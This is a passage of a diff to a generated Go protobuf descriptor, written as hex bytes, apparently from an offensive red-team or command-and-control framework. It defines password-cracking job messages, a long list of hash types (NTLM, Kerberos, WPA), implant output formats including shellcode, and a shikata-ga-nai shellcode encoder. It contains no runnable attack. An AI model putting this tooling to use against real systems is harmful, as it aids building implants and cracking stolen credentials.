0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, + 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, - 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, - 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, - 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, - 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, - 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, - 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, - 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x5b, 0x0a, 0x0c, - 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, - 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, - 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, - 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, - 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, - 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, - 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, - 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, - 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, - 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, - 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, - 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, - 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, - 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, - 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, - 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, - 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, - 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, - 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, - 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, - 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, - 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, - 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, - 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, - 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, - 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, - 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, - 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, - 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, - 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, - 0x30, 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, - 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, - 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, - 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, - 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, - 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, - 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, - 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, - 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, - 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, - 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, - 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, - 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, - 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, - 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, - 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, - 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, - 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, - 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, - 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, - 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, - 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, - 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, - 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, - 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, - 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, - 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, - 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, - 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, - 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, - 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, - 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, - 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, - 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, - 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, - 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, - 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, - 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, - 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, - 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, - 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, - 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, - 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, - 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, - 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, - 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, - 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, - 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, - 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, - 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, - 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, - 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, - 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, - 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, - 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, - 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, - 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, - 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, - 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, - 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, - 0x31, 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, - 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, - 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, - 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, - 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, - 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, - 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, - 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, - 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, - 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, - 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, - 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, - 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, - 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, - 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, - 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, - 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, - 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, - 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, - 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, - 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, - 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, - 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, - 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, - 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, - 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, - 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, - 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, - 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, - 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, - 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, - 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, - 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, - 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, - 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, - 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, - 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, - 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, - 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, - 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, - 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, - 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, - 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, - 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, - 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, - 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, - 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, - 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, - 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, - 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, - 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, - 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, - 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, - 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, - 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, - 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, - 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, - 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, - 0x07, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, - 0x41, 0x4d, 0x53, 